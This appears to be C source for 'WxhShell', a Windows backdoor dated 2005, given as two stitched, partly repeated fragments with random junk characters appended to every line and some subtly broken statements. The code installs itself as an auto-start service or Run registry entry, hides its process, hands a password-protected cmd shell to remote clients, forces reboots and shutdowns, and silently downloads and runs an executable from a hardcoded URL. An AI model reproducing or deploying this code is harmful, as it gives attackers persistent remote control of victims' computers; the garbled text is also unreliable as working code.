    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9WE_9$<V  
    else { ~cHpA;x9<^  
    closesocket(wsh); ;fg8,(SM^  
    ExitThread(0); 8#?jYhT7  
    } +OGa}9j-  
    break; rK^Sn7U  
    } ShFC@)<lJ  
  // 关机 7;]n+QRfm  
  case 'd': { i{1SUx+Re  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sw:o3cC]  
    if(Boot(SHUTDOWN)) 3RSiu}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PWU8 9YXp  
    else { Rn] `_[)*~  
    closesocket(wsh); ^Bkwbj  
    ExitThread(0); `R\aNgCS}  
    } iv3=J   
    break; Rwu y!F  
    } }V@ * :3w8  
  // 获取shell 1^F !X=  
  case 's': { LI`L!6^l  
    CmdShell(wsh); x}acxu 2H7  
    closesocket(wsh); }ZPO^4H;-  
    ExitThread(0); HfQZRDH  
    break; /HlLfW  
  } &356   
  // 退出 SEf:u  
  case 'x': { "Q{)H8,E)x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {\HEUIa]w  
    CloseIt(wsh); x d9+P  
    break; -1~-uE.~4d  
    } gmFCjs  
  // 离开 .TI =3*`G  
  case 'q': { 8oAr<:.=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $>Y2N5  
    closesocket(wsh); l'Oz-p.@  
    WSACleanup(); 2.xA' \M  
    exit(1); nu'r `  
    break; 1=R6||8ws  
        } CJn{tP  
  } M|HW$8V3_2  
  } (4;m*' X  
(Nzup 3j  
  // 提示信息 b#h}g>l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Bw)rf,  
} xK7xAO  
  } 4FWL\;6  
701mf1a  
  return; m {dXN=  
} 6a_MA*XK  
UaW,#P  
// shell模块句柄 @/(\YzQvp]  
int CmdShell(SOCKET sock) C2l=7+X#W  
{ 2N)siH  
STARTUPINFO si; Rw j4  
ZeroMemory(&si,sizeof(si)); U%<E9G594  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mgO D J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P@LFX[HtM  
PROCESS_INFORMATION ProcessInfo; &?(<6v7  
char cmdline[]="cmd"; !z EW)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9FGe (t <  
  return 0; *wvd[q h  
} *9XKkR<r  
MKl`9 Y3Ge  
// 自身启动模式 CtEpS<*c  
int StartFromService(void) TnuNoMD.  
{ !+<OED=qe  
typedef struct f1Az|h  
{ m'j]T/WF  
  DWORD ExitStatus; T +a\dgd  
  DWORD PebBaseAddress; t>~a/K"  
  DWORD AffinityMask; 6\9 Zc-%  
  DWORD BasePriority; v--Qbu  
  ULONG UniqueProcessId; WNO|ziy  
  ULONG InheritedFromUniqueProcessId; 1" k_l.\,0  
}   PROCESS_BASIC_INFORMATION; V8C62X  
nBN+.RB:(  
PROCNTQSIP NtQueryInformationProcess; Za"m;+H<E  
!Dc|g~km\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?h$ =]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @R c/ ^B:  
LBcnBo</v  
  HANDLE             hProcess; j3W)  
  PROCESS_BASIC_INFORMATION pbi; xE.yh#?.k  
y}\d]*5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ApT8;F B  
  if(NULL == hInst ) return 0; h?8I`Z)h  
u0o}rA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %z9lCTmy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $u ae8h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >e'Hz(~'/  
4 ~s{zob  
  if (!NtQueryInformationProcess) return 0; :kQ%Mj>  
r bfIH":  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k}0Y&cT!rU  
  if(!hProcess) return 0; 3QD+&9{D  
qcmf*Yl:v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [. rULQl  
6d# 7  
  CloseHandle(hProcess); =ws iC'  
Zy J-}[z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _l,_NV&T  
if(hProcess==NULL) return 0; dcn/|"jr  
Ifx EM  
HMODULE hMod; t.s;dlx[@  
char procName[255]; *v}3So  
unsigned long cbNeeded; oe4r_EkYwW  
QEC4!$L^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S;I>W&U  
-ff@W m  
  CloseHandle(hProcess); ><HHO (74X  
)j_Y9`R  
if(strstr(procName,"services")) return 1; // 以服务启动 [& d"Z2gK  
u/ Gk>F  
  return 0; // 注册表启动 /b;GC-"v  
} j#f7-nHyz8  
@L-] %C  
// 主模块 K/;*.u`:  
int StartWxhshell(LPSTR lpCmdLine) MEI.wJZ  
{ ,UveH` n-  
  SOCKET wsl; aAi "  
BOOL val=TRUE; `mt x+C  
  int port=0; dlf nhf  
  struct sockaddr_in door; _rN1(=J  
<N~&Leh  
  if(wscfg.ws_autoins) Install(); -W\1n#J  
&{R]v/{p]  
port=atoi(lpCmdLine); SK]"JSY`  
s(?A=JJ  
if(port<=0) port=wscfg.ws_port; 4nz$J a)  
 {F'~1qf  
  WSADATA data; 5ns.||%k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jE#&u DfI  
Y CBcyE}p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GV"X) tGo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9aa cW  
  door.sin_family = AF_INET; 6?(Z f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PF+SHT'4}#  
  door.sin_port = htons(port); [ U`})  
TIIwq H+h.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A`I;m0<  
closesocket(wsl); 4e!>A  
return 1; M3EB=tU  
} D=!T,p=  
D|gI3i  
  if(listen(wsl,2) == INVALID_SOCKET) { g,O3\jjQ  
closesocket(wsl); jTh^#Q  
return 1; g.:b\JE`  
} kw$*o k  
  Wxhshell(wsl); 9^zA(  
  WSACleanup(); oScKL#Hu  
tB<2mjg  
return 0; v-MrurQ4  
v K7J;U+cJ  
} scZSnCrR  
|%tI!RN):  
// 以NT服务方式启动 bpaS(nBy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7,!$lT#  
{ x3C^S~  
DWORD   status = 0; 8jd Ex&K  
  DWORD   specificError = 0xfffffff; +wpQ$)\  
8j^3_lD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mW 4{*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Cu,#w3JR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #^zUaPV 7r  
  serviceStatus.dwWin32ExitCode     = 0; 0Vwl\,7z9  
  serviceStatus.dwServiceSpecificExitCode = 0; hAvX{]  
  serviceStatus.dwCheckPoint       = 0; 9`| ^cL*6  
  serviceStatus.dwWaitHint       = 0; g+zfa.wQ  
Afao Fn+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z{p62|+Ck@  
  if (hServiceStatusHandle==0) return; {{+woL'C  
;p] f5R^  
status = GetLastError(); :L&d>Ii|'  
  if (status!=NO_ERROR) rE5q BEh  
{ 6d#:v"^,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ }1+=Ub  
    serviceStatus.dwCheckPoint       = 0; ,enU`}9V*  
    serviceStatus.dwWaitHint       = 0; =AVr<kP  
    serviceStatus.dwWin32ExitCode     = status; XT<{J8 0z  
    serviceStatus.dwServiceSpecificExitCode = specificError; s4kkzTnXE3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y7LT;`A  
    return; f{j.jfl\x  
  } c%O8h  
.G/2CVMj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,nnVHBN  
  serviceStatus.dwCheckPoint       = 0; =L F9im  
  serviceStatus.dwWaitHint       = 0;  +}-Ecr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,2/y(JX}*!  
} %7n(>em  
slRD /  
// 处理NT服务事件,比如:启动、停止 iL\eMa  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <`Q*I Y  
{ n^+rxG6 L  
switch(fdwControl) [ KT1.5M[  
{ i3usZ{_r  
case SERVICE_CONTROL_STOP: w}:&+B:  
  serviceStatus.dwWin32ExitCode = 0; s<`54o ,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nLjc.Z\Bl  
  serviceStatus.dwCheckPoint   = 0; .`5BgX7W  
  serviceStatus.dwWaitHint     = 0; 4.o[:5'  
  { #CcWsI>+w>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :,*{,^2q:  
  } u ^Ss8}d  
  return; zZ})$Ny(  
case SERVICE_CONTROL_PAUSE: !-<PV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0!(BbQnWI  
  break; uNS ]n}  
case SERVICE_CONTROL_CONTINUE: c_+y~X)i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RLL2'8"A  
  break; =c1t]%P,  
case SERVICE_CONTROL_INTERROGATE: - )brq3L  
  break; -< RG'I~  
}; S mjg[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 48t_?2>  
} =j$!N# L  
%Tvy|L ,  
// 标准应用程序主函数 ye^l~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j+-+<h/(  
{ }3xZ`vX[T  
%yJ $R2%*y  
// 获取操作系统版本 8Ug`2xS<_  
OsIsNt=GetOsVer(); +i1\],7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _=d X01  
S-D=-{@  
  // 从命令行安装 )?D w)s5  
  if(strpbrk(lpCmdLine,"iI")) Install(); & ~*qTojj  
Btu=MUS  
  // 下载执行文件 d%C :%d  
if(wscfg.ws_downexe) { Ad'b{C%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) RbA.%~jjx*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;+W9EbY2  
} gyx4='Q  
^V5g[XL2  
if(!OsIsNt) { @b,&b6V  
// 如果时win9x,隐藏进程并且设置为注册表启动 wNt-mgir-Q  
HideProc(); CTOrBl$70  
StartWxhshell(lpCmdLine); U 2@Mxw  
} ocbNf'W;  
else N-9qNLSP  
  if(StartFromService()) @*}?4wU^k  
  // 以服务方式启动 SGUu\yS&s  
  StartServiceCtrlDispatcher(DispatchTable); LnY`f -H  
else [Dou%\  
  // 普通方式启动 )VoQ/ch<  
  StartWxhshell(lpCmdLine); <6L=% \X{*  
1;$8=j2  
return 0; $,v[<T`  
} !(L\X'jH  
ulzQ[?OMl  
(RtjD`e}  
Y\pRk6,  
=========================================== z')zV oW,  
/H m), 9NN  
v?S~ =$.  
_8;)J  
1E'/!|  
>QJfTkD$  
" y7x[noGtR  
j^&{5s  
#include <stdio.h> Il&}4#:  
#include <string.h> #FL\9RXy  
#include <windows.h> Q*h%'oc`  
#include <winsock2.h> jh|4Y(  
#include <winsvc.h> SSh=r  
#include <urlmon.h> +&:?*(?Q  
v!b 8_0~u6  
#pragma comment (lib, "Ws2_32.lib") <GthJr>1D  
#pragma comment (lib, "urlmon.lib") u^{6U(%  
(b}}'  
#define MAX_USER   100 // 最大客户端连接数 ./ !6M  
#define BUF_SOCK   200 // sock buffer _s> ZY0  
#define KEY_BUFF   255 // 输入 buffer !"e~HZmr  
OYC\+ =  
#define REBOOT     0   // 重启 4EB&Zmg[K  
#define SHUTDOWN   1   // 关机 YEB@p.  
 :Ky *AI  
#define DEF_PORT   5000 // 监听端口 eJm7}\/6`  
lxvRF93a.  
#define REG_LEN     16   // 注册表键长度 $4j$c|S!  
#define SVC_LEN     80   // NT服务名长度 Q'mLwD3>  
3{;W!/&>  
// 从dll定义API Es~|:$(N]|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `T \"B%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Ui"<0[,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %j*i=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )f6:{ma  
<m|\#Jw_V  
// wxhshell配置信息 _P]!J~$5  
struct WSCFG { ZJ7<!?6  
  int ws_port;         // 监听端口 xQetAYP`  
  char ws_passstr[REG_LEN]; // 口令 ggR--`D[  
  int ws_autoins;       // 安装标记, 1=yes 0=no .{@aQwN  
  char ws_regname[REG_LEN]; // 注册表键名 0/F/U=Z!  
  char ws_svcname[REG_LEN]; // 服务名 Qn*a#]p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  p@se 5~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ra'h\m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d*A(L5;@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uv,_?x\'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?(!<m'jEy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C<?Huw4R0  
Lk-%I?  
}; clwJ+kku@  
w|uO)/v  
// default Wxhshell configuration rq.S0bzH  
struct WSCFG wscfg={DEF_PORT, W"@FRWcd  
    "xuhuanlingzhe", 3w B03\P  
    1, N%,!&\L  
    "Wxhshell", j$K[QSn  
    "Wxhshell", -q-/0d<l  
            "WxhShell Service", 27NhYDo  
    "Wrsky Windows CmdShell Service", F$QAWs  
    "Please Input Your Password: ", g+-=/Ge  
  1, X@[)jWs  
  "http://www.wrsky.com/wxhshell.exe", { fmY_T[Q8  
  "Wxhshell.exe" 08!pLE  
    }; )38M~/ ^l  
D=Pv:)*]  
// 消息定义模块 a V4p0s6ZZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u*<G20~A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L,XWX8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jb~/>I^1  
char *msg_ws_ext="\n\rExit."; H$/r{gfg^  
char *msg_ws_end="\n\rQuit."; h]#wwJF  
char *msg_ws_boot="\n\rReboot..."; +gQn,HX  
char *msg_ws_poff="\n\rShutdown..."; [uh$\s7  
char *msg_ws_down="\n\rSave to "; | Ts0h?"a  
 ThLnp@  
char *msg_ws_err="\n\rErr!"; < Y(lRM{  
char *msg_ws_ok="\n\rOK!"; V|h/a\P  
z>f>B6  
char ExeFile[MAX_PATH]; >9S@:?^&q>  
int nUser = 0; &$vW  
HANDLE handles[MAX_USER]; Wy'H4Rg8  
int OsIsNt; a^*@j:[  
#h 4`f  
SERVICE_STATUS       serviceStatus; ![v@+9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a09]5>*  
)cMW,  
// 函数声明 c 4<~? L  
int Install(void); K`9ph"(Z  
int Uninstall(void); oM@X)6P_  
int DownloadFile(char *sURL, SOCKET wsh); Use`E  
int Boot(int flag); !*?Ss  
void HideProc(void); +U%U3tAvs  
int GetOsVer(void); H@uCbT  
int Wxhshell(SOCKET wsl); ?}N@bsl08w  
void TalkWithClient(void *cs); za ix_mR  
int CmdShell(SOCKET sock); zlh}8Es  
int StartFromService(void); r`Qzn" H  
int StartWxhshell(LPSTR lpCmdLine); `z=I}6){  
Ng6(2Wt0e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \?bp^BrI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (]Z$mv!  
"))G|+tz  
// 数据结构和表定义 0ang^v;q  
SERVICE_TABLE_ENTRY DispatchTable[] = %EZG2JjO)  
{ @+v;B:  
{wscfg.ws_svcname, NTServiceMain},  [>'P  
{NULL, NULL} 1!x-_h}  
}; y<G@7?   
EcA@bZ0  
// 自我安装 ?w}E/(r  
int Install(void) *CA7 {2CX  
{ :(,Eq?  
  char svExeFile[MAX_PATH]; i6^COr  
  HKEY key; CL^MIcq?  
  strcpy(svExeFile,ExeFile); FuZ7xM,  
(]|rxmycA  
// 如果是win9x系统,修改注册表设为自启动 # !?5^O  
if(!OsIsNt) { |/?)u$U<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rKDMIECrm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >qJRpO  
  RegCloseKey(key); !cs +tm3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m,e @bJ-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n=vW oU9  
  RegCloseKey(key); *{]9e\DF  
  return 0; p7"o:YSQ  
    } SnF3I  
  } DR`d^aBWQ  
} HR85!S`  
else { rurC! -  
4s<*rKm~  
// 如果是NT以上系统,安装为系统服务 "tga FtC=w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |M?yCo  
if (schSCManager!=0) =H_|007C  
{ )+[{MR '  
  SC_HANDLE schService = CreateService YQ`GOP#/  
  ( 8F(_Vqu  
  schSCManager, $vS`w4Y  
  wscfg.ws_svcname, N/A.1W  
  wscfg.ws_svcdisp, FTtGiGd|Zy  
  SERVICE_ALL_ACCESS, *g^U=t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aDx{Q&  
  SERVICE_AUTO_START, =OIx G}*  
  SERVICE_ERROR_NORMAL, 7XE/bhe%S  
  svExeFile, p7Yej(B  
  NULL, .[1"Med J  
  NULL, ':71;^zXf  
  NULL, JLsy|}>  
  NULL, 8v6YOG"b q  
  NULL -WIT0F4o;  
  ); M"OX NPkc  
  if (schService!=0) {89F*  
  { jUq^$+N  
  CloseServiceHandle(schService); /@5X0m  
  CloseServiceHandle(schSCManager); #c5 NFU}9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C3af>L@}  
  strcat(svExeFile,wscfg.ws_svcname); =GpO }t">  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a;eV&~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .c'EXuI7),  
  RegCloseKey(key); ~y+QL{P4~  
  return 0; %C%~f {4  
    } &L,zh{Mp  
  } goi5I(yn^  
  CloseServiceHandle(schSCManager); ,TTt<&c  
} r >:7)p!|  
} 8>Hnv]p  
d,|W  
return 1; L$7 NT}L  
} qby!  
N(v<*jn  
// 自我卸载 A]2zK?|s  
int Uninstall(void) ^tIi;7k  
{ "E;]?s9x  
  HKEY key; CUB=T]  
M3j_sd'N  
if(!OsIsNt) { >3 Q%Yn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7p&%0'BO1z  
  RegDeleteValue(key,wscfg.ws_regname); H4 }^6><V  
  RegCloseKey(key); Ij hC@5qk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DCv~^  
  RegDeleteValue(key,wscfg.ws_regname); m!s/L,iJJ  
  RegCloseKey(key); $-m`LF@  
  return 0; 6elmLDMni\  
  } *5iNw_&  
} ir<HC 'D[  
} ]<mXf~zg  
else { dm1W C:b  
_e AZ_@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N5 SK_+  
if (schSCManager!=0) AD4KoT&  
{ q9w6 6R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k9`Bi`wp  
  if (schService!=0) '{j.5~4y  
  { z#*w Na&@[  
  if(DeleteService(schService)!=0) { [ZS}P  
  CloseServiceHandle(schService); c *(]pM  
  CloseServiceHandle(schSCManager); +Sk;  
  return 0; \+mc   
  } |s :b9sfA  
  CloseServiceHandle(schService); XM$r,}B k  
  } k 41lw^Jh  
  CloseServiceHandle(schSCManager); vW`{BWd  
} }3cOZd_,t  
} _"%ef"oPh  
yw`xK2(C$  
return 1; &Ib8xwb:  
} >h/J{T(P>h  
!L"3Otd  
// 从指定url下载文件 \w{x- }  
int DownloadFile(char *sURL, SOCKET wsh) 4A:@+n%3m  
{ s`ly#+!.  
  HRESULT hr; p`-`(i=iJo  
char seps[]= "/"; }zi:nSpON  
char *token; M@S6V7  
char *file; CF3Z`xD  
char myURL[MAX_PATH]; }wrZP}zM>  
char myFILE[MAX_PATH]; ,{A-<=6t  
bS _!KU  
strcpy(myURL,sURL); d ! A)H<Zt  
  token=strtok(myURL,seps); [>+(zlK"  
  while(token!=NULL) Q+E%"`3V4l  
  { T<06y3sN  
    file=token; ,x}p1EZ  
  token=strtok(NULL,seps); w@7NoD=  
  } .w^M?}dx  
k.>*!l0  
GetCurrentDirectory(MAX_PATH,myFILE); `6`NuZ*6g  
strcat(myFILE, "\\"); hHF YAh   
strcat(myFILE, file); dhpEB J  
  send(wsh,myFILE,strlen(myFILE),0); %B` MO-  
send(wsh,"...",3,0); J]5 sWs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?V%x94B  
  if(hr==S_OK) EO$_]0yI;_  
return 0; :^FOh*H  
else 1SeDrzLA  
return 1; (UPkb$Qc  
?U:?o_w  
} 2>0[^ .;"  
_, /m  
// 系统电源模块 MjNCn&c  
int Boot(int flag) %>}6>nT#  
{ ^?(A|krFg  
  HANDLE hToken; g PogV(V  
  TOKEN_PRIVILEGES tkp; ~hPp)- A  
8 ZD1}58U4  
  if(OsIsNt) { g![]R-$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0l!%}E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z-K?Ak B1  
    tkp.PrivilegeCount = 1; {4Cn/}7Ly^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "TA r\; [  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6W."h PP  
if(flag==REBOOT) { I{AteL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &=5  
  return 0; #\*ODMk$4|  
} Z{7lyEzBg  
else { C,+6g/{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VYI%U'9Q  
  return 0; vU LlAQG  
} IwhZzw w  
  } S',i  
  else { kxp$Nnk  
if(flag==REBOOT) { {X<mr~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7F.t>$'  
  return 0; U8kH'OD  
} _In[Z?P}  
else { 7 N+;K0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 12v5*G[X  
  return 0; ivsp):W  
} ~` v 7  
} @kC>+4s!  
l j*ELy  
return 1; <n< @ O5  
} aW]!$  
!xyO  
// win9x进程隐藏模块 Au &NQ+  
void HideProc(void) Ffk$8"   
{ 2 |w;4  
_XIls*6AK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T1m'+^?"  
  if ( hKernel != NULL ) V`?2g_4N  
  { Z{RRhJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WH2?_U-8h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xcr=AhqM  
    FreeLibrary(hKernel); q/~U[.C  
  } SHS:>V  
_S5\5[^  
return; eW#U<x%P  
} ^l;nBD#nJ  
Z<6xQTx  
// 获取操作系统版本 Vd^_4uqnV  
int GetOsVer(void) 5f2ah4 g  
{ t_5b  
  OSVERSIONINFO winfo; cy8+@77  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ysD @yM,  
  GetVersionEx(&winfo); NKB,D$!~&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vc|r(lM  
  return 1; 68?oV)fE  
  else h"/FqO  
  return 0; mcAg,~"HB  
} w V&{w7  
w_|R.T\7  
// 客户端句柄模块 hM\<1D CKG  
int Wxhshell(SOCKET wsl) CLU!/J $!  
{ 'jWd7w~(  
  SOCKET wsh; c0jdZ#H  
  struct sockaddr_in client; x"h0Fe?J  
  DWORD myID; [q]"_4L0;d  
A,D67G<v`  
  while(nUser<MAX_USER) iaO;i1K5U  
{ uP/PVoKQ  
  int nSize=sizeof(client); ! )$ PD@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V0+D{|thh6  
  if(wsh==INVALID_SOCKET) return 1; Qx CZ<|  
%\#s@8=2u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J&UFP{)  
if(handles[nUser]==0) |1J=wp)#  
  closesocket(wsh); *%_:[>  
else > ^fY`x,  
  nUser++; R< @o]p  
  } L'=2Uk#.D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?P4@U9i  
-IhFPjQ  
  return 0; $~c?qU  
} c7T9kV 8hS  
Gb+cT  
// 关闭 socket %J4]T35^2  
void CloseIt(SOCKET wsh) 3`_jNPV1  
{ bf2R15|t5`  
closesocket(wsh); xExy?5H7  
nUser--; q+2yp&zF  
ExitThread(0); [tDUR  
} % INRds  
 b<v\  
// 客户端请求句柄 ) ?rJKr[`  
void TalkWithClient(void *cs) J7X-=E D  
{ 1 Y_e1tgmm  
=$601r  
  SOCKET wsh=(SOCKET)cs; .{ ^4I  
  char pwd[SVC_LEN]; S W(h%`U  
  char cmd[KEY_BUFF]; 0-cqux2U  
char chr[1]; 1\1a;Q3W%,  
int i,j; -e7|DXj  
Knsb`1"E^6  
  while (nUser < MAX_USER) { ^c{}G<U^  
O-B~~$g  
if(wscfg.ws_passstr) { O @fX +W?U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `EVTlq@<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j-|YE?AA  
  //ZeroMemory(pwd,KEY_BUFF); GXB4&Q!C  
      i=0; RL/~E xYC  
  while(i<SVC_LEN) { r4caIV  
|`T3H5X>  
  // 设置超时 .CFaBwj  
  fd_set FdRead; p#~' xq  
  struct timeval TimeOut; m&o}qzC'y  
  FD_ZERO(&FdRead); X&DuX %x0  
  FD_SET(wsh,&FdRead); VpSk.WY/ e  
  TimeOut.tv_sec=8; ie+&@u  
  TimeOut.tv_usec=0; *>%34m93  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gxfw!aF~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TN3, \qgV  
T.="a2iS2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8}h ^Frh  
  pwd=chr[0]; ?^P#P0  
  if(chr[0]==0xd || chr[0]==0xa) { Yf Udpa0  
  pwd=0; m! &bK5+*  
  break; o+{}O_r  
  } 3=~"<f l  
  i++; ep<Ad  
    } vai.",b=n6  
{;^boo q  
  // 如果是非法用户,关闭 socket Us.yKAHPV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RGYky3mQK  
} ], Wh]q  
84tuN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XPXC7_fV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {"8\~r&b  
W+PAlsOC  
while(1) { */xI#G,O+  
^T"9ZBkb  
  ZeroMemory(cmd,KEY_BUFF); uHBX}WH  
xjOy3_Js  
      // 自动支持客户端 telnet标准   vgOmcf%;  
  j=0; %Bmi3 =Rr  
  while(j<KEY_BUFF) { )xCpQ=nS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 65AXUTg  
  cmd[j]=chr[0]; U,)Ngnd  
  if(chr[0]==0xa || chr[0]==0xd) { Taxi79cH  
  cmd[j]=0; k\_>/)g  
  break; ^ cN-   
  } _m;cX!+~_  
  j++; uxk&5RY  
    } *2crhI*@>  
>JS\H6  
  // 下载文件 JGt4B  
  if(strstr(cmd,"http://")) { 'GQ1;9A57  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vq_W zxaG  
